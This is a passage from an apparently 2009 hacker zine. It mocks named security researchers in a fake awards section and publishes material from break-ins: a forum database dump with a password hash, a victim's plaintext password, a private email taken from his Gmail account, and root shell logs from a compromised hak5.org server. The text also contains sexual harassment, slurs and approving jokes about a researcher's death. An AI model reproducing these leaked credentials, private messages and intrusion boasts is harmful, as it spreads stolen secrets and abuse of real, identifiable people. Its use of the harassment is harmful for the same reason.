\";s:2:\"11\";s:12:\"postsPercent\";d:31;}i:12;a:2:{s:4:\"hour\";s:2:\"12\";s:1 19924 2:\"postsPercent\";d:36;}i:13;a:2:{s:4:\"hour\";s:2:\"13\";s:12:\"postsPercent\ 19925 ";d:52;}i:14;a:2:{s:4:\"hour\";s:2:\"14\";s:12:\"postsPercent\";d:58;}i:15;a:2: 19926 {s:4:\"hour\";s:2:\"15\";s:12:\"postsPercent\";d:52;}i:16;a:2:{s:4:\"hour\";s:2 19927 :\"16\";s:12:\"postsPercent\";d:48;}i:17;a:2:{s:4:\"hour\";s:2:\"17\";s:12:\"po 19928 stsPercent\";d:65;}i:18;a:2:{s:4:\"hour\";s:2:\"18\";s:12:\"postsPercent\";d:67 19929 ;}i:19;a:2:{s:4:\"hour\";s:2:\"19\";s:12:\"postsPercent\";d:75;}i:20;a:2:{s:4:\ 19930 "hour\";s:2:\"20\";s:12:\"postsPercent\";d:69;}i:21;a:2:{s:4:\"hour\";s:2:\"21\ 19931 ";s:12:\"postsPercent\";d:74;}i:22;a:2:{s:4:\"hour\";s:2:\"22\";s:12:\"postsPer 19932 cent\";d:100;}i:23;a:2:{s:4:\"hour\";s:2:\"23\";s:12:\"postsPercent\";d:91;}}s: 19933 17:\"membersTotalPosts\";i:9428;s:13:\"popularBoards\";a:10:{i:14;a:4:{s:2:\"id 19934 \";s:2:\"14\";s:5:\"posts\";s:4:\"2012\";s:12:\"postsPercent\";d:21;s:10:\"tota 19935 lPosts\";i:95805;}i:20;a:4:{s:2:\"id\";s:2:\"20\";s:5:\"posts\";s:4:\"1741\";s: 19936 12:\"postsPercent\";d:18;s:10:\"totalPosts\";i:5097;}i:2;a:4:{s:2:\"id\";s:1:\" 19937 2\";s:5:\"posts\";s:4:\"1537\";s:12:\"postsPercent\";d:16;s:10:\"totalPosts\";i 19938 :52188;}i:30;a:4:{s:2:\"id\";s:2:\"30\";s:5:\"posts\";s:4:\"1477\";s:12:\"posts 19939 Percent\";d:16;s:10:\"totalPosts\";i:6788;}i:22;a:4:{s:2:\"id\";s:2:\"22\";s:5: 19940 \"posts\";s:3:\"521\";s:12:\"postsPercent\";d:6;s:10:\"totalPosts\";i:9804;}i:4 19941 ;a:4:{s:2:\"id\";s:1:\"4\";s:5:\"posts\";s:3:\"495\";s:12:\"postsPercent\";d:5; 19942 s:10:\"totalPosts\";i:48930;}i:5;a:4:{s:2:\"id\";s:1:\"5\";s:5:\"posts\";s:3:\" 19943 280\";s:12:\"postsPercent\";d:3;s:10:\"totalPosts\";i:14922;}i:55;a:4:{s:2:\"id 19944 \";s:2:\"55\";s:5:\"posts\";s:3:\"216\";s:12:\"postsPercent\";d:2;s:10:\"totalP 19945 osts\";i:1269;}i:19;a:4:{s:2:\"id\";s:2:\"19\";s:5:\"posts\";s:3:\"202\";s:12:\ 19946 "postsPercent\";d:2;s:10:\"totalPosts\";i:14642;}i:21;a:4:{s:2:\"id\";s:2:\"21\ 19947 ";s:5:\"posts\";s:3:\"153\";s:12:\"postsPercent\";d:2;s:10:\"totalPosts\";i:412 19948 52;}}s:26:\"postsByHour-forumGenerated\";i:1247984980;s:29:\"postsByHour-forumT 19949 imeFormated\";a:14:{i:0;i:1247984980;s:7:\"seconds\";s:2:\"40\";s:7:\"minutes\" 19950 ;s:2:\"29\";s:5:\"hours\";s:2:\"06\";s:4:\"mday\";s:2:\"19\";s:4:\"wday\";s:1:\ 19951 "7\";s:3:\"mon\";s:2:\"07\";s:4:\"year\";s:4:\"2009\";s:4:\"yday\";s:3:\"200\"; 19952 s:7:\"weekday\";s:6:\"Sunday\";s:5:\"month\";s:4:\"July\";s:4:\"week\";s:2:\"28 19953 \";s:6:\"smonth\";s:3:\"Jul\";s:4:\"smon\";s:3:\"Jul\";}s:8:\"numPosts\";s:5:\" 19954 9,428\";s:9:\"numTopics\";s:5:\"1,569\";s:8:\"numPolls\";s:2:\"24\";s:8:\"numVo 19955 tes\";s:3:\"197\";s:21:\"generalStatsGenerated\";i:1247984980;s:24:\"generalSta 19956 tsTimeFormated\";a:14:{i:0;i:1247984980;s:7:\"seconds\";s:2:\"40\";s:7:\"minute 19957 s\";s:2:\"29\";s:5:\"hours\";s:2:\"06\";s:4:\"mday\";s:2:\"19\";s:4:\"wday\";s: 19958 1:\"7\";s:3:\"mon\";s:2:\"07\";s:4:\"year\";s:4:\"2009\";s:4:\"yday\";s:3:\"200 19959 \";s:7:\"weekday\";s:6:\"Sunday\";s:5:\"month\";s:4:\"July\";s:4:\"week\";s:2:\ 19960 "28\";s:6:\"smonth\";s:3:\"Jul\";s:4:\"smon\";s:3:\"Jul\";}}}";"0";"StankDawg"; 19961 "stankdawg";"0";"std";"1:1:1";"1";"14405";"stankdawg";"stankdawg";;"0";"0";"10" 19962 ;"30";"10";"35";"25";"30";"30";"22bc1aad095bad120f9463ff8294a3c4";"xE(#w";"0";N 19963 ULL;"default";"0";"0";;"0";"0";"5,1247935975";"0";"0";"0";"0";"12" 19964 19965 Okay that's all you're getting. No room. 19966 19967 StankDawg is the only moron at binrev that we really feel like embarassing. He 19968 also has one of the lamest and most excessive wikipedia pages around. I can't 19969 believe Ptacek put so much time in trying to remove StankDawg's wikipedia page, 19970 but at least tqbf is 100% right. 19971 19972 Probably the discussion page comment most worthy of a chuckle comes right at 19973 the top. 19974 19975 Why does this attention whore get a page all to himself? And how has he 19976 affected the hacking scene that greatly? He seems like a new age n00b to me. 19977 (Anonymous comment posted 19:43, September 5, 2005 by 70.67.163.34) 19978 19979 Those who can, do. Those who can\'t, cry \"n00b\". --Jscott 17:15, 23 19980 September 2005 (UTC) 19981 19982 No, those who can't spend the rest of their lives harvesting text files of 19983 those who can, and talking about the same shit every year at the same 19984 conferences. Hey, are any radical hacker zines on textfiles.com yet? 19985 19986 Will someone please egg Jason Scott? 19987 19988 19989 19990 | 19991 \ / _\/_ 19992 Pwnie awards .-'-. //o\ _\/_ 19993 -- / \ -- | /o\\ 19994 ^^~^~^~^~^~^~^~^~~^~^~^~^~^~^~^~^~^~^-=======-~^~~^^~~^~^~^~|~~^~^|^~` 19995 | 19996 19997 19998 So, once again we find ourselves at that time. As I'm sure you've all been 19999 awaiting eagerly I'll just get right to the point: it's time for the 20000 annual Zero For 0wned pwnie awards! 20001 20002 We had so many people that were deserving of awards in so many categories 20003 that we could go on for days. But that wouldn't be fair to you, the reader, 20004 so we've just brought you the best of the best for your viewing pleasure. 20005 20006 Winners can send an acceptance speech to full-disclosure@lists.grok.org.uk. 20007 Speaking of, none of last year's winners sent us a single acceptance speech! 20008 Not a single one! So fuck all those guys, they're all a bunch of bitches 20009 anyways. 20010 20011 And now, our first category: 20012 20013 1. Biggest "Internet killing" bug (aka bug that was hyped _way_ too much) 20014 20015 Yeah, this category is all the rage now. Dan Kaminsky started it off with his 20016 DNS bullshit, and then Anton Kapela and Alex Pilosov did BGP, and then there was 20017 that TCP timing attack by Robert E. Lee and Jack Louis of Outpost24, along with 20018 a few other attempts by some lame researchers to cash in on the trend. 20019 Oh, these crazy times we live in! Since we here at ZF0 feel that Phrack 20020 is past its prime and that gay bloggers are gay bloggers, ithilgore and 20021 RSnake will *not* be considered for this award. Sorry Bobby, but I'm sure 20022 that Grossman will be more than happy to suck your dick and make you feel 20023 better. 20024 20025 Anyways, I'm going to have to give this one to the Outpost24 guys. This is the 20026 first time in recent memory that the entire "security community" had been 20027 working hard to figure out a DoS attack. So congrats guys, I'm sure the DDoS 20028 kiddies love you too. BTW, does anyone else think it's odd how shortly before 20029 they were set to go public Jack Louis' house catches on fire and he dies of 20030 smoke inhilation? Whoever did that I owe you a beer. 20031 20032 2. Least trustworthy whitehats 20033 20034 Well, discounting the fact that the entire security industry is a corrupt piece 20035 of shit, we're going to have to give this award to Matasano. I mean really guys? 20036 Posting the details of Dan's "Internet killing" DNS vulenrability before his 20037 0day dropping talk? Not cool. I'm not sure how clients can trust you anymore. 20038 Oh, and Halvar, you weren't supposed to be speculating on what the vuln was 20039 in a public forum. Way to be a dick and not listen to the wishes of some 20040 fat loser who hits himself (we love you Danny). Matasano gets extra 20041 untrustworthy points for having dirty security practices on their server and 20042 getting pwnt. That shouldn't be good for business. 20043 20044 3. Best blog 20045 20046 This is a very prestigious award and sought after award. The winner of this 20047 award not only has to have good technical knowledge and literary skills, but 20048 they need to be active enough to keep me coming back. Last year Matasano took 20049 this award home (and never sent us an acceptance speech!) but this year it goes 20050 hands down to xorl. xorl is a greek chap who runs xorl.wordpress.com, which is 20051 good EVEN if sometimes he lazes out and pulls up a little short on analysis. 20052 Hey, if it's good enough for Dave Aitel it's good enough for me! Speaking of 20053 Mr. Aitel... 20054 20055 4. Biggest fail 20056 20057 There's a lot of people who nominated themselves for this award, but I figured 20058 what the fuck, I can give this to whomever I please so I decided to go with 20059 Dave Aitel here. Why Dave do you ask? Well, let me take you back to last year... 20060 20061 The date is August 6th, 2008. The location is Las Vegas Nevada, USA. The event 20062 is none other than the crazy overpriced Blackhat USA conference. Yeah, it's 20063 the *other* pwnie awards, you might have heard of them. 20064 20065 That night Dave Aitel presented an award for Mass 0wnage. Appropriately enough, 20066 he mentioned our zine. However, he for the fucking name wrong. It's Z-*F*-0, 20067 Dave. NOT Z-*D*-0. The 'F' is for 'For'. The only other retard to call us 'ZD0' 20068 was Robert Lemos, and we all know how intelligent that chap is. So yeah, Dave, 20069 we expect a full handwritten apology letter, a full subscription to CANVAS, 20070 and naked pics of your wife Justine (hey, first rule of pr0j3kt m4yh3m as 20071 according to ~el8; get their friends/family. We love you Dave. Really.). You 20072 put yourself in a class with only one other man: Robert Lemos. 20073 20074 That cannot feel good. You can blame him and try to pass this on if you want, 20075 but then you have to at least admit that you read Lemos' work. It's lose-lose. 20076 20077 5. Biggest masturbator 20078 20079 Once again, we've decided to present this award. For those of you who failed to 20080 tune in to our awards last time, this is one of the biggest honors a person can 20081 achieve, as it means they will *NEVER* have a sex life as they're too busy 20082 hacking the living shit out of computers 24/7. Last year we had a few people 20083 who unintentionally nominated themselves. This year the nominees were pretty 20084 much the same, as only 1% of all "security professionals" actually do good 20085 research, and the other 99% are complete retards who use Nessus as a baseline. 20086 20087 But we here at the Official Zero For 0wned Pwnie Awards Nomination And 20088 Assignment Commission (ZF0PANAC -- pronounced "ZF0 panic") feel that 20089 there's only one person who actually deserves this award, so without further ado 20090 the award for biggest masturbator goes to Felix Linder (better known as FX)! 20091 20092 For those of you who missed it, FX gave a talk at CCC about generalizing Cisco 20093 IOS explotation techniques across multiple IOS versions. It was actually 20094 interesting enough that I sat through the whole thing. Congrats FX. 20095 20096 6. Biggest mailing list troll 20097 20098 With n3td3v off FD I was starting to get concerned with who would be keeping 20099 up the long and valued Internet tradition of relentlessly trolling various 20100 public discussion groups. Luckily, I didn't have long to worry as this fine 20101 (alleged) woman was kind enough to step up and take on this responsibility 20102 herself. Yes, I'm speaking of none other than Joanna Rutkowska. You may know 20103 of him^H^Her from the Bluepill hype and all the other VM and hypervisor talks 20104 and papers (s)he releases a few times annually. If not, well, you're not 20105 missing much. The beauty of the situation is that most of the time, Joanna 20106 doesn't even seem to realize that she's trolling lists like Daily Dave until 20107 someone (who happens to have real talent) like Halvar Flake comes along and 20108 tells her to shut the fuck up. So, Joanna, this one's for you. 20109 20110 Oh, and Joanna, we wanted to not only give you an award, but also leave you with 20111 this to think about: 20112 20113 $ uname -a 20114 Linux heze.lunarpages.com 2.6.9-78.0.22.ELsmp #1 SMP Thu Apr 30 19:14:39 EDT 20115 2009 i686 i686 i386 GNU/Linux 20116 $ grep invisi /etc/passwd 20117 invisi6:x:32181:32182::/home/invisi6:/usr/local/cpanel/bin/noshell 20118 $ host invisiblethingslab.com 20119 invisiblethingslab.com has address 216.97.235.20 20120 $ /sbin/ifconfig | grep 216.97.235.20 | head -n 1 20121 inet addr:216.97.235.20 Bcast:216.97.235.255 Mask:255.255.255.0 20122 20123 [DIR] WysiwygPro/ 10-May-2006 04:07 - 20124 [TXT] about.html 18-Jul-2008 04:02 3k 20125 [TXT] blog.html 07-May-2006 13:34 2k 20126 [DIR] bluepillproject/ 13-Oct-2008 20:23 - 20127 [DIR] cgi-bin/ 27-Aug-2005 02:10 - 20128 [TXT] code.html 18-Jul-2008 04:03 6k 20129 [TXT] contact.html 18-Jul-2008 04:03 2k 20130 [TXT] events.html 18-Jul-2008 04:11 23k 20131 [DIR] gallery/ 17-May-2006 02:36 - 20132 [DIR] images/ 18-Jul-2008 04:03 - 20133 [TXT] index.html 18-Jul-2008 04:02 5k 20134 [DIR] invisiblethingslab/ 17-Jul-2009 07:41 - 20135 [DIR] itl_ftp/ 26-Nov-2008 11:52 - 20136 [TXT] joanna.asc 12-Feb-2008 12:57 4k 20137 [TXT] newsarchive.html 10-May-2006 10:10 8k 20138 [TXT] papers.html 18-Jul-2008 04:03 18k 20139 [DIR] papers/ 04-Jan-2009 13:50 - 20140 [DIR] priv/ 12-Aug-2007 07:11 - 20141 [DIR] pub/ 05-Feb-2008 07:32 - 20142 [TXT] robots.txt 04-Mar-2008 07:27 1k 20143 [TXT] speaking.html 18-Jul-2008 04:06 5k 20144 [TXT] style.css 18-Jul-2008 04:03 4k 20145 [DIR] tools/ 04-Mar-2008 07:29 - 20146 20147 We sincerely hope you enjoy it, Joanna! 20148 20149 Anyways, that's all for tonight folks. Enjoy the rest of the production we have 20150 for you, and have a good day. 20151 20152 20153 20154 | 20155 \ / _\/_ 20156 hak5 .-'-. //o\ _\/_ 20157 -- / \ -- | /o\\ 20158 ^^~^~^~^~^~^~^~^~~^~^~^~^~^~^~^~^~^~^-=======-~^~~^^~~^~^~^~|~~^~^|^~` 20159 | 20160 I see a white hat and I want to paint it black... 20161 They tried to kill our scene but we just stood and laughed... 20162 20163 I see the white hats giving talks and talking shit.... 20164 Every time I hear them talk it makes me want to spit.... 20165 20166 This world has grown too big it's time to cut the slack.... 20167 We took a break to hack your shit but now we're back.... 20168 20169 I see them tellin' everyone they're so sercure.... 20170 What they don't tell you is that we've owned them all before.... 20171 20172 I look inside myself and see my heart is black.... 20173 I see that white hat only now it's painted black.... 20174 20175 Maybe now you'll fade away and finally face the facts.... 20176 It's not easy fessin up when your whole world is black.... 20177 20178 No more can we sit by and watch this happen here.... 20179 It's time to let you know that judgement day is near.... 20180 20181 I see a white hat and I want to paint it black... 20182 No whites or greys no more i want them to turn black.... 20183 20184 I look inside myself and see my heart is black.... 20185 I see that white hat only now it's painted black.... 20186 20187 I wanna see it painted, painted black 20188 Black as night, black as coal 20189 I wanna see the sun blotted out from the sky 20190 I wanna see it painted, painted, painted, painted black 20191 20192 20193 ---- owned+rm5 ----- 20194 20195 * Please note this exploit is released to you under fuqHAK5 licence agreement, you may use 20196 * this exploit, sell it, recode it, rip the header and claim it as your own on the condition 20197 * that you are not a fan of the hak5 tv "hacking" show. This exploit must not be renamed from 20198 * shoryuken.c at any time. 20199 20200 [ Snippet from prdelka's latest leakage. Still exploiting public bugs in 2009. ] 20201 20202 So who are Hak5? 20203 20204 "Put together by a band of IT ninjas, security professionals and hardcore 20205 gamers, Hak5 isn't your typical tech show. We take on hacking in the old-school 20206 sense, covering everything from network security, open source and forensics, to 20207 DIY modding and the homebrew scene. Then we wrap it all up with a healthy dose 20208 of cocktails and geek comedy. Damn the warranties, it's time to Trust your 20209 Technolust." - Hak5 team. 20210 20211 Oh dear. See, Hak5 are a bunch of no mark wannabes. They contribute nothing to 20212 security but entertain people who own iPhones and macs and study CS. These 20213 people get their buzz from claiming to be hardcore, leet and hackers. 20214 20215 After owning Hak5 I decided I needed to do some research on them and watch an 20216 episode. The most hilarious part (aside from mubix) was Darren, every episode 20217 when interviewing the resident tech expert he says "I'll play the idiot here, 20218 explain to me". De Niro better watch out, those acting skills are sharp. Out of 20219 all the owns in this zine, I think the hak5 one will register the least - their 20220 audience doesn't understand the concept of hacking. 20221 20222 Mubix is a part time presenter full time failure. The kind of loser who reuses 20223 passwords, which is still common in 2009. Our friend Mubix though takes it to 20224 another level. Not only did Mubix reuses his hak5 FORUM password on the admin 20225 of his blog, he did so on his gmail account. Whilst pouring through his boring, 20226 mailing list filled email account there was only one bit of fun I spotted. 20227 20228 This message below is from xorl (xorl.wordpress.com), internet security mystery 20229 man! Mubix decided to email him and ask why people who are anti-security are so 20230 damn scary! 20231 20232 Hi there, 20233 First of all I had no intention to disregard your question. I'm not against 20234 people that have different viewpoints, something like that is completely 20235 ridiculous. What would our world be if we were that narrow-minded. Now, to 20236 your question, well, I might not be the ideal person to ask this since I don't 20237 have the background required to answer this but anyway. I believe that full 20238 disclosure was useful and fun, everything from just informing an administrator 20239 for a security hole or misconfiguration on his/her system(s) to reporting 20240 critical vulnerabilities to crazy developers the disclosure was like 20241 participating in a big family, you know, some of them were getting angry, 20242 others were happy, but in both cases it was definitely a satisfying (from both 20243 sides) experience. Nowadays, there is nothing like that. Everything is just a 20244 big trade, including the underground scene. I'm not affiliated with the 20245 big-bad-blackhats either to begin with. Companies like ZDI, iDefense, 20246 TrippingPoint, Secunia etc. will do anything to get some fancy 0day bug (and 20247 of course some exploit code would result in some more money to the guy that 20248 sells it) and for what? To get more money from companies that get more money 20249 by other companies... This sounds just like the police/drag world scenario 20250 written in Phrack #64 [1] and it's worst than that, since here we are not 20251 dealing with hackers and feds or whitehats but with companies and companies 20252 (aka. money and money). No ethics at all. What's the point of disclosing 20253 anything? If you're interested in security not for money or fame like I do, 20254 what's the point of disclosing a bug? Some people think that guys who own 0days 20255 (aka. hackers according to rattle's definition [2]) are hanging around owning 20256 random boxes to steal credit cards and personal information. In some cases 20257 this might be true, but in the majority of the people I know it isn't. The 20258 whole full disclosure concept is transformed, more and more, to a corporate 20259 methodology, initially, full disclosure (at least the first policies for full 20260 disclosure [3]) were made to provide a responsible disclosure to the vendor but 20261 now this is just money. Nobody really cares about security. Do you honestly 20262 believe that a sec. company would disclose an important bug that bought from 20263 some random guy? For example, if Immunty Inc. got a remote root for OpenSSH 20264 would it _ever_ disclose it? I hardly thing so. Its pen-testers will use it to 20265 prove the insecurity of their clients and take advantage of their fear by 20266 obtaining more money. There are a few people who care about security because 20267 they really want to learn anything about their systems (even if that is illegal 20268 in some cases), as far as I know none of them wants to get involved in this 20269 theater. That's why I do not support full disclosure, it won't help anyone, or 20270 at least anyone that I wanted to help. Furthermore, most of these companies do 20271 not even care about contributing to their security industry. Almost every 20272 important security concept was introduced either by some brilliant individual 20273 [4, 5] who wanted to share that knowledge or in Phrack [6] or similar 20274 non-profit organizations [7, 8]. That's another fact to demonstrate that those 20275 who talk about security do not care that much. My blog is (well, I hope it is) 20276 just another place to help people interested in security learn about 20277 vulnerabilities through already known public ones which it worked for me, but 20278 disclosing vulnerabilities or giving exploit codes for every post I make won't 20279 really help. I mean, have a look at the comments of sgrakkyu's amazing release 20280 [9]. His exploit code is like an elite tutorial in advanced exploitation and 20281 the people didn't appreciate it. He has remote SELinux disabling, vsyscall 20282 overwrites, reliability optimizations (check out his code for the ABORT packets 20283 etc.). Nobody said anything about these. :-( In addition to that, people 20284 hanging around doing XSS and SQL injections and they are calling themselves 20285 security experts, pen-testers or even worst, hackers. I had the great 20286 opportunity to meet people like those described by PHC when talking about ~el8 20287 [10]. They knew everything and never did what those guys do for fame or money. 20288 To conclude, many ways to see this... If you're a whitehat then you live in an 20289 illusion that you're helping in securing our world. If you're blackhat you're 20290 experiencing this as a war... For me... I am just doing my hobby for fun. I do 20291 not want to get involved into any of these and for the above reasons I *don't* 20292 want to contribute in securing anything in this theater. 20293 20294 Once again, I might not be the right person to ask this question. 20295 20296 20297 [1] http://phrack.org/issues.html?issue=64&id=4&mode=txt 20298 20299 [2] http://www.awarenetwork.org/etc/hacker.htm 20300 20301 [3] http://www.wiretrip.net/rfp/policy.html 20302 20303 [4] http://freeworld.thc.org/root/docs/exploit_writing/sol-ne-stack.html 20304 20305 [5] http://packetstormsecurity.org/papers/attack/VAstacksmash.txt 20306 20307 [6] http://phrack.org/ 20308 20309 [7] http://uninformed.org/ 20310 20311 [8] http://www.awarenetwork.org/etc/ 20312 20313 [9] http://kernelbof.blogspot.com/ 20314 20315 [10] http://www.phiral.net/blackhatbloc/phrack/texts/hack4.txt 20316 20317 -- some guy on the internet 20318 20319 /* Wow, citations even! This dude isn't so bad all in all, we have no intention 20320 * of getting him involved either */ 20321 20322 20323 /* Funny? I haven't even started yet. Continuing the story - Mubix to his credit 20324 * spotted someone logging into his gmail in gmail's new activity monitor! What 20325 * happened next only serves to embarass Mubix to the point that his "career" 20326 * should be over and he should induce spontanious hilarity upon anyone who hears 20327 * the story. */ 20328 20329 20330 Ok, I don't believe in coincidence, someone has a 0day for gmail because 20331 that is too many people getting compromised without linking facts..about 20332 11 hours ago from TweetDeck 20333 20334 // That's his take on how he got owned. 20335 20336 That's the 4th person that I've talked to that has had a foreign IP 20337 address accessing their Gmail account using a Browser.about 11 hours ago 20338 from TweetDeck 20339 20340 // Maybe I wasn't alone? 20341 20342 All instances have been detected using Google's "Activity on this 20343 account" alerts at the bottom of the Gmail pageabout 11 hours ago from 20344 TweetDeck 20345 20346 // :( 20347 20348 This could be a flaw in Gmail's application where it gets mixed up, but 20349 a 2 of the cases have had emails in their sent emails boxabout 11 hours 20350 ago from TweetDeck 20351 20352 // MORON. 20353 20354 20355 Sorry for the alarm guys, not trying to create a panic, 4 all just 20356 recently.about 11 hours ago from TweetDeck 20357 20358 // Not trying to create panic, you just told all your security tweeting friends 20359 // that there is a gmail 0day. You are a fucking idiot. 20360 20361 // Anyway, time for the hack logs...One other thing, Mubix' password was gegameri 20362 20363 // What a tool. 20364 20365 root@www.hak5.org's password: 20366 Last login: Wed Jul 8 10:13:11 2009 from 173.121.135.241 20367 root@web02 [~]# uname -a; id; w 20368 Linux web02.divergentnetworks.com 2.6.18-128.1.14.el5 #1 SMP Wed Jun 17 20369 06:40:54 EDT 2009 i686 i686 i386 GNU/Linux 20370 uid=0(root) gid=0(root) 20371 groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) 20372 05:20:01 up 13 days, 10:40, 1 user, load average: 0.38, 0.44, 0.38 20373 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT 20374 root ttyS1 - 28Jun09 13days 0.01s 0.01s -bash 20375 root@web02 [~]# last 20376 root pts/0 173.121.135.241 Wed Jul 8 10:13 - 12:24 (02:11) 20377 root pts/2 wsip-70-169-152- Mon Jun 29 08:24 - 10:35 (02:11) 20378 root pts/1 ip68-230-200-167 Mon Jun 29 06:53 - 08:44 (01:51) 20379 root pts/0 ip68-230-200-167 Sun Jun 28 22:13 - 12:40 (14:26) 20380 root pts/4 10.0.80.131 Sun Jun 28 19:17 - 19:26 (00:09) 20381 root pts/4 ppp-69-221-242-8 Sun Jun 28 19:02 - 19:03 (00:01) 20382 root ttyS1 Sun Jun 28 18:48 still logged in 20383 root pts/3 ip70-186-193-179 Sun Jun 28 18:46 - 21:56 (03:10) 20384 root pts/2 shell01.dal01.so Sun Jun 28 18:44 - 21:36 (02:52) 20385 root pts/1 71-84-66-21.dhcp Sun Jun 28 18:42 - 23:54 (05:11) 20386 root pts/0 ip70-186-193-179 Sun Jun 28 18:40 - 20:54 (02:13) 20387 reboot system boot 2.6.18-128.1.14. Sun Jun 28 18:40 (13+10:39) 20388 root pts/3 shell01.dal01.so Sun Jun 28 17:38 - crash (01:01) 20389 root pts/2 ip70-186-193-179 Sun Jun 28 17:25 - crash (01:14) 20390 root pts/1 ip70-186-193-179 Sun Jun 28 17:24 - crash (01:16) 20391 root pts/0 10.0.80.84 Sun Jun 28 17:22 - crash (01:17) 20392 reboot system boot 2.6.18-128.1.14. Sun Jun 28 17:20 (13+11:59) 20393 root pts/0 ip70-186-193-179 Sun Jun 28 16:39 - crash (00:41) 20394 reboot system boot 2.6.18-128.1.14. Sun Jun 28 16:38 (13+12:41) 20395 root pts/3 10.0.80.131 Sun Jun 28 15:51 - crash (00:47) 20396 root pts/2 ip70-186-193-179 Sun Jun 28 15:35 - crash (01:02) 20397 root pts/1 10.0.80.131 Sun Jun 28 15:29 - crash (01:08) 20398 root pts/0 ip70-186-193-179 Sun Jun 28 15:29 - crash (01:09) 20399 reboot system boot 2.6.18-92.el5 Sun Jun 28 15:26 (13+13:53) 20400 root pts/0 ip70-186-193-179 Sun Jun 28 15:19 - crash (00:07) 20401 reboot system boot 2.6.18-128.1.14. Sun Jun 28 15:17 (13+14:02) 20402 reboot system boot 2.6.18-128.1.14. Sun Jun 28 15:14 (13+14:05) 20403 root pts/1 10.0.80.131 Sun Jun 28 15:11 - crash (00:03) 20404 root pts/0 ip70-186-193-179 Sun Jun 28 15:09 - crash (00:05) 20405 reboot system boot 2.6.18-128.1.14. Sun Jun 28 15:08 (13+14:11) 20406 root pts/1 ip70-186-193-179 Sun Jun 28 14:33 - crash (00:35) 20407 root pts/0 10.0.80.131 Sun Jun 28 14:27 - crash (00:41) 20408 reboot system boot 2.6.18-128.1.14. Sun Jun 28 14:24 (13+14:55) 20409 root ttyS1 Sun Jun 28 14:17 - 14:19 (00:01) 20410 root pts/3 10.0.80.131 Sun Jun 28 13:07 - crash (01:17) 20411 root pts/1 ip70-186-193-179 Sun Jun 28 13:04 - 13:46 (00:41) 20412 root pts/0 ip70-186-193-179 Sun Jun 28 13:04 - 14:10 (01:05) 20413 reboot system boot 2.6.18-128.1.14. Sun Jun 28 13:03 (13+16:16) 20414 root pts/1 ip70-186-193-179 Sun Jun 28 12:37 - 12:52 (00:15) 20415 root pts/0 ip70-186-193-179 Sun Jun 28 12:32 - crash (00:31) 20416 reboot system boot 2.6.18-128.1.14. Sun Jun 28 12:31 (13+16:48) 20417 root pts/1 ip70-186-193-179 Sun Jun 28 12:01 - down (00:27) 20418 root pts/0 ip70-186-193-179 Sun Jun 28 11:58 - down (00:30) 20419 reboot system boot 2.6.18-92.el5 Sun Jun 28 11:57 (00:30) 20420 root pts/1 ip70-186-193-179 Sun Jun 28 11:32 - crash (00:25) 20421 root pts/0 ip70-186-193-179 Sun Jun 28 11:31 - crash (00:25) 20422 reboot system boot 2.6.18-92.el5 Sun Jun 28 11:30 (00:57) 20423 root pts/1 ip70-186-193-179 Sun Jun 28 11:20 - down (00:07) 20424 root pts/0 ip70-186-193-179 Sun Jun 28 11:05 - down (00:22) 20425 reboot system boot 2.6.18-92.el5 Sun Jun 28 11:03 (00:24) 20426 root pts/0 ip70-186-193-179 Sun Jun 28 10:57 - crash (00:05) 20427 reboot system boot 2.6.18-92.el5 Sun Jun 28 10:52 (00:34) 20428 root pts/0 wsip-70-169-152- Wed Jun 24 14:18 - 17:29 (03:11) 20429 root pts/1 ip70-186-193-179 Tue Jun 9 20:51 - 02:10 (05:18) 20430 root pts/0 ip70-186-193-179 Mon Jun 8 21:18 - 20:30 (2+23:11) 20431 root pts/0 wsip-70-169-152- Mon Jun 8 13:41 - 14:03 (00:22) 20432 root pts/0 ip70-186-193-179 Sun Jun 7 20:20 - 22:31 (02:11) 20433 root pts/0 ip70-186-193-179 Sun Jun 7 15:52 - 16:02 (00:09) 20434 root pts/0 adsl-69-209-99-8 Thu Jun 4 22:38 - 01:28 (02:49) 20435 root pts/0 adsl-69-209-99-8 Thu Jun 4 12:25 - 14:39 (02:14) 20436 root pts/0 adsl-69-209-99-8 Thu Jun 4 01:09 - 01:10 (00:00) 20437 root pts/0 wsip-70-169-152- Fri May 29 11:28 - 13:40 (02:11) 20438 root pts/0 wsip-70-169-152- Wed May 27 14:44 - 15:57 (01:12) 20439 reboot system boot 2.6.18-92.el5 Wed May 27 14:44 (31+20:43) 20440 root pts/0 wsip-70-169-152- Wed May 27 14:38 - crash (00:06) 20441 reboot system boot 2.6.18-92.el5 Sat May 23 14:10 (35+21:16) 20442 root pts/0 231.sub-75-202-2 Thu May 14 22:19 - 22:29 (00:09) 20443 root pts/1 45.sub-75-201-23 Fri May 8 20:56 - 23:11 (02:14) 20444 root pts/0 21.sub-75-251-18 Fri May 8 20:36 - 22:59 (02:23) 20445 root pts/0 ip68-110-152-240 Tue May 5 17:20 - 22:00 (04:39) 20446 hak5 pts/0 ip68-110-152-240 Fri May 1 19:27 - 19:27 (00:00) 20447 hak5darr pts/0 ip68-110-152-240 Fri May 1 19:25 - 19:26 (00:01) 20448 root pts/0 wsip-70-169-152- Tue Apr 28 11:06 - 13:18 (02:11) 20449 root pts/0 wsip-70-169-152- Mon Apr 27 12:25 - 14:38 (02:13) 20450 root pts/0 ip68-110-152-240 Sat Apr 25 13:55 - 14:03 (00:08) 20451 reboot system boot 2.6.18-92.el5 Fri Apr 24 18:35 (64+16:51) 20452 root pts/1 adsl-69-208-66-1 Thu Apr 23 12:33 - 13:13 (00:39) 20453 root pts/0 wsip-70-169-152- Thu Apr 23 12:25 - crash (1+06:10) 20454 root pts/1 wsip-70-169-152- Wed Apr 22 12:23 - 14:34 (02:11) 20455 root pts/0 wsip-70-169-152- Wed Apr 22 11:19 - 13:31 (02:11) 20456 root pts/0 wsip-70-169-152- Mon Apr 20 12:20 - 14:32 (02:11) 20457 root pts/0 ip68-110-152-240 Fri Apr 17 19:10 - 00:01 (2+04:51) 20458 root pts/0 adsl-75-36-7-30. Fri Apr 10 18:30 - 19:05 (00:35) 20459 root pts/0 wsip-70-169-152- Tue Mar 31 08:28 - 10:42 (02:14) 20460 root pts/0 wsip-70-169-152- Fri Mar 27 10:31 - 13:12 (02:41) 20461 root pts/0 wsip-70-169-152- Tue Mar 3 14:11 - 16:22 (02:11) 20462 root pts/0 wsip-70-169-152- Tue Mar 3 08:55 - 11:16 (02:20) 20463 hak5darr pts/0 ip68-110-152-240 Thu Feb 26 18:15 - 01:27 (07:11) 20464 hak5 pts/1 ip68-110-152-240 Tue Feb 24 18:21 - 